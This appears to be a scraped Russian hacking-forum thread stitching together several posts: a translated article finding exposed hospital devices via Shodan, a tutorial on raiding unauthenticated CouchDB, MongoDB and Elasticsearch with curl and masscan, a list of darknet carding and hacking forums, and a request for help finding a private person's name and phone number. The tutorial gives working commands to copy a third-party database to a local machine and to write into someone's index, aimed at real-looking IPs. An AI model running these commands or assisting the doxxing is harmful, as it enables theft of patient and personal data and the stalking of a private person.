Иногда для получения конфиденциальных данных даже не нужно использовать какие- либо уязвимости. К примеру, из-за отсутствия базовых знаний по информационной безопасности у людей,
ответственных за настройку оборудования, некоторые системы, подключенные к сети, доступны без аутентификации.

Примером этого могут служить два сервера радиологии в Австралии. С одной стороны, Австралия боится китайских методов шпионажа, вроде Cloud Hopper, но с другой стороны они оставляют два незащищенных сервера Cynetics.
Это веб-системы медицинских изображений, предназначенные для ведения клинической отчетности мед. персоналом.

Австралийский центр кибербезопасности был проинформирован об этом, и соответствующие меры были приняты.
Однако, так как данные были доступны всем желающим в течение месяца, они не остались незамеченными.

Утечка вышеназванных серверов содержала 4,5 ТБ данных, включая рентгенологические фотографии беременностей с диагнозом (почти 2 миллиона изображений!),
счета-фактуры и личные данные пациентов.

Стоит отметить, что, заходя на эти сервера, пользователи имели привилегии администратора. Это значит, что посетители могли просматривать абсолютно всю информацию и даже удалять платежи пациентов,
вместе с клиническими результатами.

Таким образом, можно нанести огромный ущерб учреждению, подделывая данные клиентов или удаляя платежи. Или можно копнуть глубже и поискать уязвимости уже в самой веб-консоли Cynetics.

Самые ранние сведения о платежах и должниках датируются 2009 годом, фотографии

• 2016-м. Наверняка, существуют правила,
  которые требуют хранить медицинские данные в течение определенного периода времени.

Возвращаясь к основной теме и наиболее важным данным в утечке, каждый пациент имеет от 10 до 40 рентгенологических фотографий с описанием.

Честно говоря, мне эти данные ни о чем не говорят, кроме того, что это какая - то информация о плоде.
Но для тех, кто разбирается в медицине, это наверняка должно быть интересно.

Проведя беглую разведку, я выделил две клиники, в которых отсутствуют надлежащие меры безопасности.

Первая - Tara Imaging for Women

Чтобы подтвердить предположение, что админ-панель принадлежит именно этой клинике, я скачал один счет:

Название второго объекта было также найдено в самой админ-панели: Western Imaging Group, расположенная на Campbell Street.

Как компенсировать знания в медицине OSINT 'ом
Из-за отсутствия должных медицинских знаний, это было одно из самых сложных для меня исследований, которое я когда-либо проводил. Я не врач и никогда не интересовался медицинскими клиниками или больницами.
В процессе исследования, я многое узнал о медицинском оборудовании и о том, как больницы связаны между собой, как работает мед. персонал и многое другое.

Для того, чтобы получить соответствующие знания, я разделил исследование на три части:

Поиск используемого оборудования и протоколов
Я начал с поиска документов, в которых бы было упомянуто оборудование, использовавшееся в поликлиниках. Оно было нужно мне для того, чтобы далее я мог сформировать более-менее внятные запросы в Shodan.
Но все, что я находил - бесполезные модные презентации, в которых люди отражали статистику организаций, в которых они работают. Это, конечно, полезно, но не для меня.

В итоге, после долгого времени поисков, меня порадовал только один найденный документ. Этот документ был написан Кристодулосом Циампазисом из University of Twente и носит название - «Exposure Assessment on Medical Devices in the Netherland».
На странице [Github ](https://github.com/ChristodoulosTziampazis/Exposure- Assessment-on-Medical-Devices-in-the-Netherlands/issues)он поделился списком ключевых слов для поиска в Shodan, поставщиками оборудования и софтом, используемом в мед. учреждениях и многим другим.

В процессе поиска материалов, я использовал понятия, вроде «Радиология», «Онкология», «Офтальмология», «Оториноларингология», «Неврология», «Ветеринария» и т.д.

DICOM и как он используется в медицине
DICOM (Digital Imaging and Communications in Medicine) - медицинский отраслевой стандарт создания, хранения, передачи и визуализации цифровых медицинских изображений и документов обследованных пациентов,
являющийся наиболее популярным в зарубежных клиниках. Если вы хотите узнать о последствиях его появления в сети, рекомендую прочитать отчет от Greenbone.

Я начал искать устройства, использующие DICOM, для сканирования их на наличие других открытых портов и просмотра работающих служб. Оказывается, все настолько плохо,
что в большинстве случаев были открыты дополнительные порты, включая 3389 (RDP), 80 (HTTP), 8080 (HTTP) и другие, полезные для дальнейших исследований.

Помимо этого, для поиска мед. клиник, мед. университетов и лабораторий, я начал составлять простенькие запросы в Shodan, например: «org: hospital», «org: medical» и различных их вариации, включая различные языки.
Например, на голландском языке это «org: Ziekenhuis» или на немецком - «org: Krankenhaus». Такой подход позволил провести обширную разведку, чтобы собрать как можно больше устройств,
подключенных к сети, в медицинских организациях.

Охота на вендоров
Последняя часть поисков состояла из сбора всевозможных поставщиков и производителей медицинских устройств.

Мне очень помог сайт https://www.medicalexpo.com/, на котором я перебрал всех продавцов и каждую модель их устройств, после чего перешел к шодану.
Зная, что некоторые панели входа в систему устройств имеют нижний колонтитул типа «Powered by <нужная мне компания_нейм>», я смог найти еще много устройств и проверить, какие дополнительные сервисы работают на машинах.

Помимо этого, я случайно обнаружил промышленные системы управления, но об этом в другой раз.

Таким образом, я представляю вам около 90 запросов для поиска различных медицинских устройств в Shodan - от микроскопов и дефибрилляторов до мониторов астмы.
C полным список можно ознакомиться [тут](https://github.com/woj-ciech/Kamerka- GUI#full-list-of-supported-devices-with-corresponding-queries).

Геолокация устройств
Некоторые устройства не имеют какого - либо потенциального индикатора для определения их точного местоположения.
Разберем несколько кейсов.

Кейс #1: Grover C. Dils Medical Center, Caliente, Nevada, United States
RIS/PACS, основанные на веб-технологиях Medweb, предлагает решения для управления документооборотом и планированием бюджета.

Запрос: html:"DBA Medweb. All rights reserved."

Название объекта отображается в заголовке и содержании HTML.

Стоит отметить, что SSL-сертификат выдан Medweb.

Геолокация довольно проста - местоположение на основе IP указывает на ближайший город и при помощи ꓘamerka мы можем проложить маршрут до медицинского центра.

Кейс #2: IRM CHARENTON ST MAURICE, 22 rue Victor HUGO 94220, CHARENTON LE PONT
Medecon Clipper - это веб-сервер, предназначенный для управления отчетами для врачей общей практики.

Запрос: http.favicon.hash:-897903496

Некоторые устройства и софт используются только в определенных странах (например, DLP-система Infowatch, в основном, только в России).
Medecom (http://www.medecom.fr/) - французская компания, большая часть которой расположена во Франции.

Точное местоположение можно увидеть в HTML, при входе.

IP-адрес указывает на Montmorency, но фактически, клиника находится в пригороде Парижа.

В дополнении стоит сказать, что владельцы давно не обновляли версию ПО. У них стоит Medecon Clipper версии 4.4,
хотя последняя, на момент написания статьи, - 4.10.

Кейс #3: Maternity Sainte-Elisabeth — Chu Uclouvain Namur, Place Louise Godin 15, 5000 Namur, Belgium
Brainlab развивает здравоохранение при помощи программных технологий. Для улучшения условий проведения операций, радиохирургических процедур и многого другого,
они создают программные и аппаратные решения.

Запрос: title:"Brainlab Origin Server"

Telemis
Telemis - быстроразвивающаяся компания, работающая в области медицинского оборудования и специализирующаяся на решениях PACS.

Запрос: http.favicon.hash:220883165

Это кейс - пример того, как другие службы, работающие на машине, помогают найти дополнительные цели.
Первоначально я искал хосты Brainlab, но на том же сервере работал веб- интерфейс Telemis.

Авторизация проходит на montgodinne.ad. Этот домен принадлежит клинике Mont- Godinne.

Telemis работает на той же машине, но на отдельном порту. Тем не менее, он подтверждает предположение о клинике, выводя название "CHU UCL Namur".

Теперь мы имеем полное название и её местоположение - CHU UCL Namur - Site Godinne. IP указывает на Waterloo, но расположение больницы отличается, примерно на 80 км.

Кейс #4: Leiden University Medical Center (LUMC), Albinusdreef 2, 2333 ZA Leiden, The Netherlands
BrainScope - это медицинская компания, специализирующаяся на медицинской нейротехнике, которая используется для проверки у человека черепно-мозговой травмы.
Инновационная система BrainScope One представляет собой простую в использовании платформу, которая позволяет врачам быстро проводить точные оценки травм головы прямо на месте оказания медицинской помощи.

Brainscope

BrainScope® is an FDA-cleared, handheld decision-support tool that uses A.I. and machine learning technology to identify objective biomarkers of structural and functional brain injury in patients with suspected mild traumatic brain injury (mTBI).

brainscope.com

Запрос: title:BrainScope

Эта машина находится в сети «Leiden University Medical Centre».

Которая очень близка к местоположению, полученному из базы данных геолокации, которую использует Shodan.

Бонус
Почему больницы становятся жертвами вымогателей?

Скриншоты взяты из Shodan.

Таким образом, вы видите уже, как минимум, один вектор атаки для получения необходимой информации о пациентах,
персонале или инфраструктуре больницы, лежащий на поверхности.

Брутфорс, Credential Stuffing или фишинг - это типичная точки входа для злоумышленника, для того, чтобы начать заражение или украсть медицинские данные.
Кроме того, система безопасности уязвима не только для уязвимостей нулевого дня, но и для уже известных эксплойтов.

Попробуйте составить список больниц или медицинских клиник в вашем городе, которые могут стать следующей целью атак злоумышленников из-за отсутствия основных мер безопасности.
Уверен, таковых найдется не мало.

Другие интересные находки
Мне пришлось исключить пару устройств из-за их относительной малочисленности или сложности выделить какой - то общий идентификатор для формирования подходящих запросов в Shodan.

Wall of Analytics
Это решение от General Electric, которое работает как командный центр для обработки данных в реальном времени,
в больнице, с использованием ИИ.

Микроскопы
Я не вижу смысла подключать микроскопы к интернету, но, как вы видите, и такое тоже случается.

При помощи веб-консоли можно калибровать микроскоп и записывать видео.

Система обмена сообщениями для медсестры

Есть платформы, о которых я даже не подозревал. Одной из таких является служба обмена сообщениями для медсестер.
Опять же, на мой взгляд, подключение к интернету для такой системы ни к чему.

Это решение позволяет контролировать каждую комнату, просматривать температуру и отслеживать вызовы.

Health of Future
Еще один продукт от General Electric Healthcare - Health of Future Perioperative. Он используется для управления операционными залами. О нем достаточно сложно найти какую - либо информацию,
я даже не смог определить актуальную версию или дефолтные пароли.

Orthanc Explorer
Это еще одна программа для просмотра DICOM. Она позволяет просматривать рентгеновские снимки пациентов, а также другую медицинскую информацию.
Многие устройства Orthanc доступны без аутентификации.

Это все весело до тех пор, пока специалисты не начнут искать в таких продуктах уязвимости.

У них, кстати, есть демка, которую можно оценить по ссылке - https://demo.orthanc-server.com/app/explorer.html

Раскрытие информации
GlucoCare Glycemic Control System
Программное обеспечение для расчета дозы инсулина, разработанное и продаваемое Pronia Medical Systems.

На странице входа можно увидеть сервер-кей и информацию о лицензии.

KbPort
Независимо от того, строите ли вы новый центр симуляции или расширяете существующий, вам на помощь придет KbPort Simplicity™.
Это комплексное решение, которое поможет вам спроектировать идеальную среду для любого предприятия.

Внутренняя инфраструктура доступна на страницу входа.

Промышленные системы управления
На третьем этапе исследований (в процессе поиска вендоров), я обнаружил не только медицинские приборы, но и промышленные системы управления.
Некоторые производители не только оснащают больницы, но и производят и поддерживают различные отрасли промышленности.

Одним из примеров такого типа компаний является Bosch. С одной стороны, она предоставляет мониторы артериального давления и капсульные контрольные весы для здравоохранения.
С другой стороны, Bosch производит системы безопасности и многие другие продукты IoT и ICS, которые широко используются во всем мире. Пытаясь найти медицинские устройства,
я наткнулся на Bosch Security Systems DVR 630/650/670 Series с запросом: http.html: «Bosch Security».

https://www.exploit-db.com/exploits/34956

Около 600 таких устройств оказались доступны в интернете. В исходном коде HTML я нашел несколько CGI-путей, которыми можно злоупотребить.
Большое спасибо @ChristiaanBeek, который подтвердил наличие уязвимости и нашел эксплойт для этих устройств.
Он находится в публичном доступе с 2014 года и с его помощью можно получить полный доступ над устройством.

Как вы видите, мы без труда можем получить данные для входа в панель.

Заключение
Индустрия здравоохранения является одной из наиболее уязвимых отраслей, и, от того, требующая повышенной безопасности. Речь идет не только о личной информации, как в других отраслях,
но и о жизнях людей, которые подвергаются опасности в случае кибератак или несанкционированного доступа к больничным системам. Многие устройства открыты для доступа извне, что повышает шансы на их компрометацию.
Существует множество уязвимостей, которые не закрывают годами. Злоумышленники без труда могут получить доступ через открытый RDP и расширить свои привилегии для всей сети.
Вот почему так важно проводить тестирования на проникновения в медицинских клиниках и больницах.

От ТС
Перевод взят [отсюда](https://telegra.ph/Kriticheskaya-infrastruktura--- razvedka-medicinskih-uchrezhdenij-12-30) (Moody, cпециально для каналов @cybred и @in51d3)
Оригинал на en [тут](https://www.offensiveosint.io/when-amerka-meets- healthcare-research-on-exposed-medical-devices/)

У меня есть много инетерсных статей от Wojciech, не переведённых на русский.
В будующем могу взяться за их перевод.

Разве́дка на осно́ве откры́тых исто́чников ([англ.](https://codeby.net/goto/link- confirmation?url=aHR0cHM6Ly9ydS53aWtpcGVkaWEub3JnL3dpa2kvJUQwJTkwJUQwJUJEJUQwJUIzJUQwJUJCJUQwJUI4JUQwJUI5JUQxJTgxJUQwJUJBJUQwJUI4JUQwJUI5XyVEMSU4RiVEMCVCNyVEMSU4QiVEMCVCQQ%3D%3D) Open source intelligence, OSINT) — разведывательная дисциплина, включающая в себя поиск, выбор и сбор разведывательной информации из общедоступных источников, а также её анализ.
Маленькая но очень информативная шпаргалка для работы с OSINT.
Что внутри книги :
1. Операторы Google,Bing,Yandex,DuckDuckGo,Baidu и т.д
2. Поиск информации о человеке в Twitter,Facebook,Snapchat,Instagram,TikTok
3. Поиск изображений/видео/документов/локаций
4. Найти детальную информацию о имени человека,Email,никнейме,номера телефона,домена/ip,организации и т.д
5. Набор инструментов от специалистов
6. Подробная методология OSINT 'а
7. Советы от специалистов по созданию аккаунтов для OSINT'а
8. Горячие клавиши для Windows/Mac, Chrome/Firefox
9. Установка OS Buscandor 2.0

Hidden content for authorized users.

https://dropmefiles.com/ZPuZC , если шпаргалка помогла,не забудь Thumbs up!

Недавно наткнулся на новый и очень неплохой сервис:


Snov.io Black Friday • 50% off | Sales automation & acceleration at scale

Snov.io Black Friday • 50% off! Upgrade your sales process and close more deals with Snov.io sales tools. Ideal for B2B companies, SDRs, and sales teams.

 snov.io

который позволяет вытащить список почт с домена (и в принципе этот список получается гораздо больше, чем дают Infoga, maltego и прочие theharvester)
Собственно сервис представляет из себя Web интерфейс + плагин для хрома.
Регистрация на данный момент бесплатная (и 50 запросов в подарок).
Примеры того, что выдает сервис:

Можем заметить, что нашел он аж 564 человека, которых смог идентифицировать, 1048 почтовых адресов.
Также, часто можно посмотреть историю о конкретном человеке, в том числе перемещения его между компаниями:

Нужно определить ФИО, номер телефона человека по его реальному профилю в инстаграмме. В профиле есть только 1 фото лица на аве , в подписках и подписчиках есть реальные родственники тк 40+ лет. Я знаю только имя человека, примерный возраст и родной город с населением до 200к. Пробовал искать всех его подписчиков в вк и через их страницы в друзьях найти его но ничего не нашел, скорее всего у него нет вк. Странно что в подписчиках нет одноклассников или одногруппников, просмотрел фото всех подписчиков, не нашел никаких общих фотографий с ним. Есть примерно 5-6 вариантов возможной фамилии. Думаю попробовать найти бд жителей этого города и попробовать перебрать все варианты. Посоветуйте где можно найти бд или человека который сможет найти нужную мне информацию за деньги. Может есть какие то идеи у вас которые помогут мне, спасибо.

Сегодня я постараюсь рассказать и показать, как легко злоумышленники могут получить доступ к обширным массивам всевозможных данных. Прежде чем приступать к атакам, предлагаю разобраться, почему они вообще возможны и почему жизнь по‑прежнему ничему не учит админов и прочих причастных к защите БД.

• Порог вхождения в применение современных БД, как и в IT в целом, снижается. Начинающему эникейщику все проще попасть на администрирование сервиса, требующего тщательной и внимательной настройки, да и элементарных знаний о конкретном продукте. К счастью таких «инженеров», но к сожалению владельцев утекших данных, многие сетевые сервисы (например, базы данных) можно развернуть «в один клик». При этом совершенно не требуется понимать механизм работы и возможные угрозы развертываемым сервисам. И хорошо, если свежеустановленная база данных настраивалась хотя бы по инструкции с первой страницы поисковика. А если нет?
• Частенько авторизацию отключают по соображениям «удобства» работы с данными. В итоге наружу торчит порт, а нередко и интерфейс СУБД, с которым можно делать что угодно. Приходи — бери что хочешь…
• Начальство требует сделать все максимально дешево, так как денег мало и тратить их на достойного спеца не хочется. Вот и просят дизайнера Ваську накатить и настроить БД для компании за чашку кофе. Какая уж тут безопасность — хорошо, если хоть пароль поставит.

Таким образом, одной из основных причин утечки данных служит ~~криворукость администраторов~~ небезопасная конфигурация СУБД, оставленная в результате невнимательности или же просто недостатка знаний.

​

CouchDB​

CouchDB — это база данных с открытым исходным кодом, разработанная программным фондом Apache. Классическая NoSQL-база. Написана на языке Erlang.

Больше всего нас интересуют способы подключения:

• порт HTTP API (по умолчанию — 5984);
• веб‑интерфейс Futon.

Доступ к БД реализован по протоколу HTTP с использованием JSON API, что позволяет обращаться к данным в том числе из выполняемых в браузере веб‑приложений. Имеет свой собственный графический веб‑интерфейс (Futon).

Мы же воспользуемся обычным curl. Вот, к примеру, запрос приветствия:

Code:Copy to clipboard

curl http://127.0.0.1:5984/

Ответ расскажет нам о номере версии, имени поставщика и версии программного обеспечения:

Code:Copy to clipboard

{
  "couchdb":"Welcome","version":"2.3.1",
  "git_sha":"c298091a4",
  "uuid":"777dc19849f3ff0392ba09dec1a62fa7",
  "features":["pluggable-storage-engines","scheduler"],
  "vendor":{"name":"The Apache Software Foundation"}
}

Чтобы получить список всех БД на сервере, можно выполнить такой запрос:

Code:Copy to clipboard

curl http://127.0.0.1:5984/_all_dbs

В ответ мы увидим

Code:Copy to clipboard

[
  "_replicator",
  "_users",
  "mychannel_",
  "mychannel_kizuna-chaincode",
  "mychannel_lscc",
  "mychannel_user"
]

Здесь _replicator и _users — это стандартные БД.

В ответ также можно получить такую ошибку:

Code:Copy to clipboard

{
  "error":"unauthorized",
  "reason":"You are not a server admin."
}

Смело идем мимо, здесь ловить нечего. Уровень анонимного доступа настроен так, что мы не можем даже увидеть список БД на сервере, не то что к ним подключиться. Но можно попробовать наудачу подобрать пароль. Запрос на авторизацию выглядит следующим образом:

Code:Copy to clipboard

curl -X PUT http://localhost:5984/test -u "login:password"

Чтобы подключиться к графическому интерфейсу, нет необходимости ставить какое‑либо ПО, достаточно просто в браузере перейти по такому адресу:

Code:Copy to clipboard

http://127.0.0.1:5984/_utils/

Чтобы унести данные, можно воспользоваться следующим запросом:

Code:Copy to clipboard

curl -X POST -d '{"source":"http://54.161.77.240:5984/klaspadchannel_","target":"http://localhost:5984/klaspadchannel_"}' http://localhost:5984/_replicate -H "Content-Type: application/json"

Конечно же, потребуется поднять сервер CouchDB на локальной машине. Впрочем, было бы странно, если бы его у тебя не было, раз уж ты собрался работать с этой базой.

MongoDB​

MongoDB — это кросс‑платформенная, документоориентированная база данных, которая обеспечивает высокую производительность и легкую масштабируемость. В основе данной БД лежит концепция коллекций и документов. Способов подключения опять два:

• HTTP API (порт по умoлчанию — 27017);
• клиент Robo 3T.

Получить минимальную информацию о находке можно простым GET-запросом на порт API.

Code:Copy to clipboard

curl -X GET http://114.116.117.104:27017

Сведения здесь и правда скромные, без драйвера БД не удастся добыть хоть сколько‑нибудь полезные данные, кроме того, что БД здесь вообще присутствует (или нет).
Если на порте крутится действительно MongoDB, то ответ придет таким:

Code:Copy to clipboard

It looks like you are trying to access MongoDB over HTTP on the native driver port.

Этого вполне достаточно, чтобы продолжить ручную проверку при помощи графического клиента.
Унести данные из находки можно через GUI.

Elasticsearch​

Elasticsearch — это представитель кластерных NoSQL баз данных, имеющий JSON REST API и использующий Lucene для полнотекстового поиска. Написана на Java. Мы будем рассматривать его как хранилище документов в формате JSON.

База Elasticsearch способна масштабироваться до петабайт структурированных и неструктурированных данных. Данные в индексе разделены на один или несколько осколков (шардов). Благодаря разделению Elasticsearch может масштабироваться и достигать размеров, которые не потянула бы одна машина. Elasticsearch — это распределенная система, описать максимальные объемы хранения данных затруднительно, могу сказать только, что там могут лежать петабайты и больше.

Способы подключения следующие:

• HTTP API (порт по умолчанию — 9200);
• графический клиент Kaizen, который можно взять на официальном сайте.

HTTP API — штука очень простая. Для начала давай запросим приветствие. Ради безопасности подопытного сервера часть адреса замазана:

Code:Copy to clipboard

curl -XGET http://47.99.Х.Х:9200/

Если все хорошо и мы правда нашли «Эластик», то в ответ придет что‑то подобное:

Code:Copy to clipboard

{
  "name" : "node-2",
    "cluster_name" : "es",
    "cluster_uuid" : "q10ZJxLIQf-ZRZIC0kDkGQ",
    "version" : {
        "number" : "5.5.1",
        "build_hash" : "19c13d0",
        "build_date" : "2017-07-18T20:44:24.823Z",
        "build_snapshot" : false,
        "lucene_version" : "6.6.0"
    },
    "tagline" : "You Know, for Search"
}

Выведем список всех индексов в БД:

Code:Copy to clipboard

curl -XGET http://47.99.Х.Х:9200/_cat/indices?v

Ответ получим примерно такой.

Code:Copy to clipboard

health status index         uuid                   pri rep docs.count docs.deleted store.size pri.store.size
green open bdp-interface x3DLdQRyTK2jssMvIJ3FmA 5 1 32576 28 428.9mb 214.4mb
green open onair-vlog Vsq0srUGSk2NvvYmXpxMBw 5 1 22 0 931.9kb 465.9kb
green open meizidb PCybF4SvTdSt1BoOCYLxNw 5 1 5328 1 27.9mb 13.9mb
green  open   rms-resource  R6c3U5_pQgG71huRD0OdDA   5   1     125827           36      1.2gb        636.2mb

Узнаем названия полей, которые хранятся в БД:

Code:Copy to clipboard

curl -XGET http://47.99.X.X:9200/meizidb

Ответ:

Code:Copy to clipboard

{
  "meizidb":{
    "aliases":{},
    "mappings":{
      "assets":{
        "dynamic_templates":[{"string":{
            "match_mapping_type":"string",
            "mapping":{"type":"keyword"}
        }}],
        "properties":{
          "annexList":{
            "properties":{
              "annexFileId":{"type":"keyword"},
              "annexName":{"type":"keyword"},
              "annexSize":{"type":"long"},
              "annexThumbUrl":{"type":"keyword"},
              "annexType":{"type":"keyword"},
              "annexUrl":{"type":"keyword"}
            }
          },
          "appCode":{"type":"keyword"},
          "asrText":{"type":"text","index_options":"offsets","analyzer":"ik_max_word"},
          "assetsType":{"type":"keyword"},
          "cdetail":{
            "properties":{
              "SP":{"type":"keyword"},
              "jz":{"type":"keyword"},
              "src":{"type":"keyword"},
              "tag":{"type":"keyword"},
              "type":{"type":"keyword"}
            }
          },
          "companyId":{"type":"keyword"},
          "companyName": ...
}

Можно и вносить записи. Но я настоятельно не рекомендую, так как без договора с владельцем сервера это может повлечь тяжкие последствия.

Code:Copy to clipboard

curl -X POST http://47.99.Х.Х:9200/onair-vlog/catalogue/1 -H 'Content-Type: application/json' -d @- << EOF
{
   "username" : "KassNT",
   "subject" : "My Referal url: ",
   "referal" : "https://xakep.ru/paywall/form/?init&code=xakep-promo-KassNT"
}
EOF

ПРИМЕРЫ РУЧНОГО ПОИСКА​

Существуют два пути поиска подопытных.

Первый путь — онлайновые сервисы, которые сканируют весь мир и предоставляют нам информацию о хостах при помощи поисковых операторов. Можно, например, «просто найти» цель в одном из них.

• Shodan.io
• Fofa.so
• Censys.io
• Zoomeye.org
• Binaryedge.io
• Lampyre.io

Показывать каждый подробно я не буду, но приведу несколько примеров. Например, запрос на поиск MongoDB для сервиса Fofa будет выглядеть так.

Fofa.so

Подобный ему сервис — Zoomeye.org. Запрос на поиск хостов с поднятой CouchDB здесь будет выглядеть также несложно.
ZoomEye

Продемонстрирую результаты работы сервиса Shodan с помощью одноименной консольной утилиты. Результат поиска по запросу [product:mongodb all:"metrics"] будет как на скрине ниже.
Shodan

Второй путь — применить ручные сканеры.

• Nmap
• Masscan
• Zmap из пакета утилит Zmap.io
• Sonar Project
• Что‑то свое

Сканирование, конечно, ручное, но почему бы не воспользоваться готовым набором данных? Например, если VPS-провайдер не позволяет сканировать все подряд на огромной скорости, то эти ребята уже сделали все за вас! Ну, почти.

О Project Sonar слышало не так много людей. Это исследовательский проект, который сканирует сервисы и протоколы, чтобы получить представление о глобальном воздействии распространенных уязвимостей. Разработан в компании, создавшей, надеюсь, небезызвестный тебе Metasploit Framework, — Rapid7. Собранные данные доступны широкой публике для исследований в области безопасности.

Project Sonar

Нам будет интересен раздел TCP Scans, где содержатся результаты опроса IP-адресов по различным портам. Подойдет, например, набор данных по результатам 9200 порта (Elasticsearch).

Code:Copy to clipboard

TCP Scans
[2020-10-07-1602049416-http_get_9200.csv.gz] [39.9 MB] [October 7, 2020]
Lines: 3 472 740
[ 'timestamp_ts' , 'saddr' , 'sport' , 'daddr' , 'dport' , 'ipid' , 'ttl' ]
'1602049426' , '146.148.230.26' , '9200' , '71.6.233.15' , '9200' , '54321' , '248'
'1602049426' , '34.102.229.177' , '9200' , '71.6.233.70' , '9200' , '60681' , '122'
'1602049426' , '104.232.64.108' , '9200' , '71.6.233.105' , '9200' , '54321' , '248'
'1602049426' , '164.116.204.58' , '9200' , '71.6.233.79' , '9200' , '38329' , '242'
'1602049426' , '35.186.233.76' , '9200' , '71.6.233.7' , '9200' , '44536' , '122'
'1602049426' , '192.43.242.72' , '9200' , '71.6.233.113' , '9200' , '19234' , '56'
'1602049426' , '166.241.202.174' , '9200' , '71.6.233.47' , '9200' , '26802' , '242'
'1602049426' , '142.92.75.134' , '9200' , '71.6.233.115' , '9200' , '28081' , '243'
'1602049426' , '198.86.33.87' , '9200' , '71.6.233.112' , '9200' , '17403' , '59'

Для Masscan составим такую команду на запуск:

Code:Copy to clipboard

masscan -p9200,9042,5984,27017 10.0.0.0/8 --echo > result.txt

Masscan

Имея на руках готовый список хостов, можно приступить к детальной проверке.
Nmap

Здесь видно, что порт не просто открыт — на нем запущен сервис Elasticsearch.

В результате сканирования и поиска разными сервисами было обнаружено немало любопытного. На скринах — небольшая выборка.
CouchDB

InfoRisk

Чаты

Неожиданно обнаружились списки имен, ников, фамилий (со ссылкой на конкретный аккаунт Telegram, VK или Viber), 16 баз данных, в каждой 15–20 тысяч строк таких вот списков.
Apache Cassandra

РАЗБОР ПОЛЕТОВ​

Вот что в последнее время случается с теми, кто криво настраивает доступ к БД. Все данные отправляются на тот свет, а незадачливому админу остается только записка с требованием выкупа.

Требование выкупа

Можно глянуть, кто и что творил с данными, при помощи команды show log.

Убитая БД

Как видно, все довольно просто: зашли, стерли данные, повесили свой README. Прочитав логи, легко можно увидеть, что «записка о выкупе» перезаписывалась много раз. Каждый раз, когда очередной злодейский бот находит открытую базу, записка просто меняется на новую.

Убитая БД

Бот проверяет возможность авторизации и записи, после чего дропает все данные, оставляя памятку скорбящему владельцу. Данные, конечно, никто не возвращает и даже не бэкапит перед уничтожением, как красиво расписано в тексте. Здесь надеяться на честность преступника, к сожалению, бесполезно.

АВТОМАТИЗАЦИЯ​

Чтобы быстрее искать СУБД, я написал небольшой скрипт, который работает со списками в формате [ip]:[port]. Вот что он делает:

• открывает на чтение указанный файл;
• считывает строку ip:port через разделитель в переменную;
• обращается при помощи curl по HTTP к хосту из переменной;
• считывает http_response, пришедший от хоста (время ответа хоста ограничено в моем случае четырьмя секундами);
• на основе полученного кода http_response хост сохраняется либо в «успешные», либо в «мусорку».

Действия совершаются циклически, пока не закончится входной файл.

Code:Copy to clipboard

echo "$LINE" | cut -d":" -f'1 2';
HTTP_CODE=$(curl --write-out "%{http_code}n" "http://"$LINE"" --output output.txt --silent   --connect-timeout 4)
if (("$HTTP_CODE"=="200")); then
  echo "##########################--HTTP_API_FOUND--#########################";
  echo $LINE >> result.txt
  else
    echo "Tried to access it, but f'ed up";
    echo $LINE >> trash_bin.txt
fi

Поскольку распространение таких скриптов может квалифицироваться как создание вредоносных программ, я привожу не совсем рабочий код. И тебе тоже рекомендую быть бдительным, если попробуешь написать что‑то в том же духе.
Пример работы скрипта

Как видишь, автоматизировать поиск целей и даже их дальнейшую «обработку» крайне легко.

ВЫВОДЫ​

Я, конечно, рассмотрел далеко не все варианты, выбрав наиболее часто «текущие» СУБД. Но принцип, думаю, понятен: даже если ты админ, а не какой‑нибудь хакер, знать возможные векторы атак обязательно. Периодически сканируй свои серверы и будешь узнавать о дырах раньше, чем их найдут злоумышленники. Закрывай по умолчанию все ненужные порты. Прячь эндпоинты за авторизацией и генерируй надежные пароли. И, конечно, делай бекапы на случай, если твои данные все же найдет и уничтожит чей‑то бот.

Автор @kassnt / Михаил Артюхин
взято с хакер.ру


[ GitHub - megadose/holehe: holehe allows you to check if the mail is

used on different sites like twitter, instagram and will retrieve information on sites with the forgotten password function. ](https://github.com/megadose/holehe)

holehe allows you to check if the mail is used on different sites like twitter, instagram and will retrieve information on sites with the forgotten password function. - megadose/holehe

github.com

Инструмент проверяет на каких сайтах зарегистрирован email. Часто добавляются новые сайты.

Есть какие нибудь варианты?

http://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion/wiki/index.php/Main_Page WIKIpages
http://b34xhb2kjf3nbuyk.onion/ Stock insiders
[URL unfurl = "true"] http://cryptbb2gezhohku.onion [/ URL]
http://www.crdclub4wraumez4.onion
http://thehub7xbw4dc5r2.onion/
[URL unfurl = "true"] http://galaxyaonv32reim.onion/ [/ URL]
[URL unfurl = "true"] http://galaxy3m2mn5iqtn.onion/ [/ URL]
[URL unfurl = "true"] http://cavetord6bosm3sl.onion [/ URL]
[URL unfurl = "true"] http://omertavzkmsn6tp6.onion [/ URL]
[URL unfurl = "true"] http://suprbayoubiexnmp.onion [/ URL]
[URL unfurl = "true"] http://crdclub4wraumez4.onion [/ URL]
http://dkzerogt6z6ybhcj.onion/ Rocksolid Security forum
[URL unfurl = "true"] http://onionlandbakyt3j.onion/ [/ URL]
http://thehub5himseelprs44xzgfrb4obgujkqwy5tzbsh5yttebqhaau23yd.onion/index.php
http://answerstedhctbek.onion/ http://answers6kixxlgc2.onion/
[URL unfurl = "true"] http://e4unrusy7se5evw5.onion/f/index.php? [/ URL]
[URL unfurl = "true"] http://vrmfaneizwqouf5k.onion/wisdom/ [/ URL]
[URL unfurl = "true"] http://answerszuvs3gg2l64e6hmnryudl5zgrmwm3vh65hzszdghblddvfiqd.onion/ [/ URL]
[URL unfurl = "true"] http://nz544wppkixoqajp.onion/ [/ URL]
http: //torigonsn3d63cldhr76mkfdzo3tndnl2tftiek55i2vilscufer6ryd.onion

Множество советов и приемов для сбора информации из открытых источников подразумевают исследование веб-страниц, в частности, просмотр их "сырого" содержимого. Вспомните идентификатор пользователя в Facebook или URL изображения, на которое вы не можете нажать. Иметь опыт верстки на HTML, при этом, не обязательно, однако, каждый сетевой разведчик должен уметь просматривать исходный код страниц и искать на них ключевые строки, - это один из ключевых навыков в данной области.

На самом деле, это довольно просто: на компьютерах с Windows, во всех основных браузерах, достаточно нажать сочетание Ctrl+Shift+U, чтобы открыть новую вкладку с необработанным HTML-кодом, а в Mac OS - Cmd+Option+U или Cmd+U для Firefox). Также можно воспользоваться контекстным меню (ПКМ на свободной области).

